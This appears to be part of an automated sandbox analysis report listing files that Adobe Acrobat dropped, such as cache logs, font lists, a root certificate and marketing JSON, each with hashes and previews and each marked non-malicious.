Preview:	2025/01/05-04:44:03.656 1d98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/05-04:44:03.657 1d98 Recovering log #3.2025/01/05-04:44:03.658 1d98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250105094408Z-192.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	1.509136818917381
Encrypted:	false
SSDEEP:	192:wwlGGq1dW6NCa1OPqelE1ts+auKoWAAO3FElU4b+BypmLw:wwUGq1dW6n1OCelE1tsluK+AjH
MD5:	EDD209DE2EDD7F26F87A3485484C2978
SHA1:	946CB732908578FCDAA4900B6D85BB5268C854C0
SHA-256:	BD4394D6C254AD60BB20FC6F8EDFBB256E7131F0CAB9CAED9C9D0E6284ABCF8C
SHA-512:	DF9E3FE8C672011478416A35C740AC1C7FF3BF80D7AE760519162C2F211D4576591907872A20E598D73CAE7C888A4CBFF19615D610BF09BBF24C61C2C1FD4CAA
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.445217613608404
Encrypted:	false
SSDEEP:	384:SeHci5t2iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:/5s3OazzU89UTTgUL
MD5:	89F4A5350D8DA0E1F819D14C7DF93E87
SHA1:	8FF713707E21A2C2F01300BC8511CF60D6733AE9
SHA-256:	F7001B899CC900928CF9807EAB1C6CF3F4BFD951041D63F68F458BE71CE9E63A
SHA-512:	C2D0C359A57A3C5E55C53AA861AF0FC9A2C93974D40A13B0E8F8D5C5AA60D101374E0836152AF5D3A3B8DB30C968A28565C35B21D36200EFC4FDFE99861DDC59
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.214354338041627
Encrypted:	false
SSDEEP:	24:7+tr/94nuwKCfqLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmQ:7MjenC+qvmFTIF3XmHjBoGGR+jMz+Lhg
MD5:	01CE7323EDF5F86E105BC25CC6C8BA83
SHA1:	B66CBBB1595787441DD2FA066CDC05AFFBDA79B9
SHA-256:	8F902C3E0890DDDB62B3E5277D731D4D7B82FDE4107A9663052DAAD122B8E9AD
SHA-512:	8A8FAB5DCD9E9286B34E38BBBA5BAE22CF60F530D56E70C95E424063D00CC9AA7FF358547F065C27B12319AF3022F336FB47C2C9CCA1B2DF7C58C6F28C211920
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7673182398396405
Encrypted:	false
SSDEEP:	3:kkFklKtrfllXlE/HT8ktl1NNX8RolJuRdxLlGB9lQRYwpDdt:kKTtkT80VNMa8RdWBwRd
MD5:	0454815D4013102FBD387830D8F97813
SHA1:	A7923935847B37042306416038E868DE8D027B63
SHA-256:	861247D6CDEF6557A872C9B10A9A8A59CAE83ECF0D4EF449F7704EC57073FA40
SHA-512:	E753F93A12095EECE2A059D5CF7E9CECC5BC0DC8C6F95024A23536C3A2D3046418020AD04B489CE26B19AC24FEF00CC57403E0444B40FF0B3208263E7EBA128C
Malicious:	false
Preview:	p...... .........HGbV_..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2700

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2700

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.370588179406839
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkOutfQdVoZcg1vRcR0YXoAvJM3g98kUwPeUkwRe9:YvXKXFJuWkZc0vjGMbLUkee9
MD5:	C586C47E378C2F92FF68B26F9F6D9157
SHA1:	D46E6C1229C75DDD40B75D4902E6DE1F76A4A7D5
SHA-256:	2FA66F20895CC2C3785735BCB01AEB2E64D49EB43F25903E8D144EB2AEE77D34
SHA-512:	B8537A1DB3F7D44CBD99D934CBA44ECA26AC42EF374296B1ED427B76631F4237090758D54051EB7EBD19D8DB6819DC3DE42C829ADB4447E867DF20FF8C13EBF4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a717a2a-d3ac-492d-99fd-55bb89f52318","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736245510592,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.321825469500053
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkOutfQdVoZcg1vRcR0YXoAvJfBoTfXpnrPeUkwRe9:YvXKXFJuWkZc0vjGWTfXcUkee9
MD5:	4B750D97184584D543E9CB067DF8612A
SHA1:	1344B77BAA1F6E7410C397D25FE76D005EE431C9
SHA-256:	79ED385449AC217B61B1FE9B7D5461FA979E72FAFF892FC1CD8078A8693EA803
SHA-512:	DBF2280BCE5DB6ABA80CB880A0DFDBE76FDBB5E2AF6B1C4C74AE4A187E9486659BEB6DB9FE25C25379FD17B1A87C643B86513E12637068CA62EE2CE539CD77C9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a717a2a-d3ac-492d-99fd-55bb89f52318","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736245510592,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.300224788368483
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkOutfQdVoZcg1vRcR0YXoAvJfBD2G6UpnrPeUkwRe9:YvXKXFJuWkZc0vjGR22cUkee9
MD5:	7C752750ADFBF76550E31EC8C37FBE0B
SHA1:	5106DDCBB87C2CA039502EAA4DCF96E3757D246A
SHA-256:	B2FCD422D692F8788AD01C0547F2DFAAA531F668D33D5DC07B602F1734F04D9D
SHA-512:	21A66F300C270A4C4EA23F4BB10FE5F1A9DFBE1708CCD54EED775B71B936A2B5D0D089563DD53D7452F016618209214F1526E09F16CAA607ECC34F6520C87ACF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a717a2a-d3ac-492d-99fd-55bb89f52318","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736245510592,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.357852187113916
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkOutfQdVoZcg1vRcR0YXoAvJfPmwrPeUkwRe9:YvXKXFJuWkZc0vjGH56Ukee9
MD5:	78AF5C279973F5CDD669699EDF6275A1
SHA1:	B61582B5B752F583509A441B2829E62A22667B37
SHA-256:	F9CDCBC0D06E6DA4D678DD97430A08B742BC1589DC79452E20019D02F31B8059
SHA-512:	EC9F056F3856C67C7755EE021838AC54242CA50CB8E03E170EE4FF5C727992F6A70BF71809BDA85BFE5C70944E0619540257A7422CD2445718CD05446890729C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a717a2a-d3ac-492d-99fd-55bb89f52318","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736245510592,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6888550626998
Encrypted:	false
SSDEEP:	24:Yv6XPunzv4pLgE9cQx8LennAvzBvkn0RCmK8czOCCS2:YvUYwhgy6SAFv5Ah8cv/2
MD5:	65C98FC0D24FF65D99D0A1B63A7D17B0
SHA1:	20369738B5DFB0DD89A86A7EDBEA5A3945F5E5B0
SHA-256:	FF208406C111EEB5E39209A0ED95BCAD99330C712D4F81015A6329512ACC4CD4
SHA-512:	CFDF8559F97CCDDC713C19B4847970A5F2F0A514C89AD1498EC882AF6DCFA3FB97C736E2E512DB1A7653DC002AF3355077C1035412A6CE38837016DA804CB7F6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a717a2a-d3ac-492d-99fd-55bb89f52318","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736245510592,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3038900422253965
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkOutfQdVoZcg1vRcR0YXoAvJf8dPeUkwRe9:YvXKXFJuWkZc0vjGU8Ukee9
MD5:	D6F9D0E0FC0C51B09FCF03DF00F37B2E
SHA1:	F59AF2A12EC399343103EBB517CB994E94790523
SHA-256:	4DA32A23CE3BFA1DBD8DEF469FE1B233420530B43625640A6EF2BA8DC7255431
SHA-512:	E3119A88B846A07FEC3BEB9A7CB10835296E0BFDFA27670F98ADA59C614F212AFA60727789386786B9BF2AD43B63815CF6D6D88FB6E8E08F8DEE66522B885716
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a717a2a-d3ac-492d-99fd-55bb89f52318","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736245510592,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.30891593456332
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkOutfQdVoZcg1vRcR0YXoAvJfQ1rPeUkwRe9:YvXKXFJuWkZc0vjGY16Ukee9
MD5:	E0FBD494AD3183857329DBA87B372EA7
SHA1:	D74A17B68F41634CB8BE43D8059084A61326644D
SHA-256:	605CAF064CBA98D17A2DC17311CCDD87A0C858A37BDD59BFD177248E23D43792
SHA-512:	2A57D1079BB762A4D43BB80DBC36A851B1272C8FD977C62CA8940FDC217A9894A2AC670280DCA029837D8715FCB483D5E29672DE17F0E688862C734C39957F26
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a717a2a-d3ac-492d-99fd-55bb89f52318","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736245510592,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3118571891186885
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkOutfQdVoZcg1vRcR0YXoAvJfFldPeUkwRe9:YvXKXFJuWkZc0vjGz8Ukee9
MD5:	AC87AF9DF534AD75EA79FE4250EE0A62
SHA1:	D38B1CE3F047AFF7BA1C6E0A86A695E1BAEE19C9
SHA-256:	336FE13BBFFEAD171B149BF16F4CE59AED3C1483DB5847DC9CFCCFC9D68143E8
SHA-512:	B00756A8D8B3A53BAA0A71A4E4D53C41E29FEA6C102B4386F5C685B71647793A50EF28DE98B743423C074B034E729CE331C12BD02FD6EB4B155C9BF6AF6C40A2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a717a2a-d3ac-492d-99fd-55bb89f52318","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736245510592,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.328904546985018
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkOutfQdVoZcg1vRcR0YXoAvJfzdPeUkwRe9:YvXKXFJuWkZc0vjGb8Ukee9
MD5:	F5D30EFC3C84E6E95885C5E80FA2C806
SHA1:	C645B660ABC2FB231A7139428AC60A8CCBAEF846
SHA-256:	4EEA00CE427EDCB94858D312801157DF8BDF082B352BFD5121CD92C97136BCAD
SHA-512:	E24FD70427D30B4138C3184B2A93528BF19DD74D01254192784E55D68BBF72B7BA64F4B7F68A30F08A4A47552991A798971E4A0D0DBE5CBE6935348DD4E420A6
Malicious:	false
